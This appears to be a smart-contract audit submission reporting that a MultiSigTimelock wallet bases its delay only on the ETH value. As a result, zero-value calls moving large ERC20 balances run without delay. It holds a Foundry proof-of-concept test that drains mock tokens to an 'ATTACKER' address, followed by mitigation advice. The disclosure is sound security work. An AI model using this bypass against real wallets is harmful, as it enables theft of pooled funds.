MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: medium
Likelihood: medium

Timelock can be bypassed for large ERC20/NFT transfers by setting ETH `value` below thresholds

Author Revealed upon completion

Description:
The timelock delay is computed from txn.value only. However, the wallet supports arbitrary contract calls via txn.data

A signer can propose a call to an ERC20 token contract to transfer a very large token balance while setting value = 0. That yields NO_TIME_DELAY, so the transfer can execute immediately even if it represents significant value.

Impact:
If users deposit ERC20 tokens / NFTs to this wallet (or use it for governance actions on other contracts), the “dynamic timelock” does not protect those assets/actions. High-value transfers can execute with no delay, undermining a key security goal described in the README.

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test} from "forge-std/Test.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
contract MockERC20 {
mapping(address => uint256) public balanceOf;
function mint(address to, uint256 amount) external {
balanceOf[to] += amount;
}
function transfer(address to, uint256 amount) external returns (bool) {
require(balanceOf[msg.sender] >= amount, "bal");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
}
contract MultiSigTimelock_PoC is Test {
MultiSigTimelock internal ms;
address internal OWNER = address(this);
address internal SIGNER_TWO = makeAddr("signer_two");
address internal SIGNER_THREE = makeAddr("signer_three");
address internal SIGNER_FOUR = makeAddr("signer_four");
address internal SIGNER_FIVE = makeAddr("signer_five");
address internal NEW_SIGNER = makeAddr("newSigner");
address internal ATTACKER = makeAddr("attacker");
function setUp() public {
ms = new MultiSigTimelock();
ms.grantSigningRole(SIGNER_TWO);
ms.grantSigningRole(SIGNER_THREE);
ms.grantSigningRole(SIGNER_FOUR);
ms.grantSigningRole(SIGNER_FIVE);
vm.deal(address(ms), 200 ether);
}
function _confirm(uint256 txnId, address signer) internal {
vm.prank(signer);
ms.confirmTransaction(txnId);
}
function test_Timelock_Bypass_ForLargeERC20Transfer_WhenMsgValueIsZero() public {
MockERC20 token = new MockERC20();
uint256 amount = 1_000_000 ether;
token.mint(address(ms), amount);
// Propose token transfer with value=0 (NO_TIME_DELAY) but huge token amount
bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", ATTACKER, amount);
uint256 txnId = ms.proposeTransaction(address(token), 0, data);
_confirm(txnId, OWNER);
_confirm(txnId, SIGNER_TWO);
_confirm(txnId, SIGNER_THREE);
// Executes immediately since timelock uses txn.value only
ms.executeTransaction(txnId);
assertEq(token.balanceOf(ATTACKER), amount);
}
}

Mitigation:
Decide what the timelock is meant to protect:

  • If the wallet is ETH-only, explicitly restrict data to empty or add a separate mode for contract calls.

  • If the wallet is meant to protect arbitrary value/actions, apply a timelock policy not solely based on ETH amount, e.g.:

    • minimum delay for any non-empty data,

    • per-transaction delay parameter set at proposal time (and confirmed by signers),

    • allowlist / risk tiers for target contracts/selectors.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!